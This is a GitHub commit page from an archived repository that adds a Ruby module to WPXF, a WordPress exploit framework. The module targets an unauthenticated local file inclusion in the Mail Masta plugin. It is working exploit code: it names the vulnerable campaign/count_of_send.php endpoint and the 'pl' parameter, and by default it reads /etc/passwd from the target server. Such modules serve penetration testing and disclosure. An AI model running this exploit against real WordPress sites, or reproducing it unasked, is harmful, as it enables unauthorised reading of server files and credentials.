Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 56ed9f1

Browse files
committed
Add Mail Masta LFI module
1 parent d4544fc commit 56ed9f1

File tree

1 file changed

+43
-0
lines changed

1 file changed

+43
-0
lines changed
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
class Wpxf::Auxiliary::MailMastaUnauthenticatedLocalFileInclusion < Wpxf::Module
2+
include Wpxf::WordPress::FileDownload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Mail Masta Unauthenticated Local File Inclusion',
9+
author: [
10+
'Guillermo Garcia Marcos', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
desc: 'This module exploits a vulnerability which allows you to include any arbitrary file '\
14+
'accessible by the user the web server is running as into the executing script.',
15+
references: [
16+
['WPVDB', '8609'],
17+
['EDB', '40290'],
18+
['URL', 'https://cxsecurity.com/issue/WLB-2016080220']
19+
],
20+
date: 'Aug 23 2016'
21+
)
22+
end
23+
24+
def check
25+
check_plugin_version_from_readme('mail-masta')
26+
end
27+
28+
def working_directory
29+
'wp-content/plugins/mail-masta/inc/campaign'
30+
end
31+
32+
def default_remote_file_path
33+
'/etc/passwd'
34+
end
35+
36+
def downloader_url
37+
normalize_uri(full_uri, working_directory, 'count_of_send.php')
38+
end
39+
40+
def download_request_params
41+
{ pl: remote_file }
42+
end
43+
end

0 commit comments

Comments
 (0)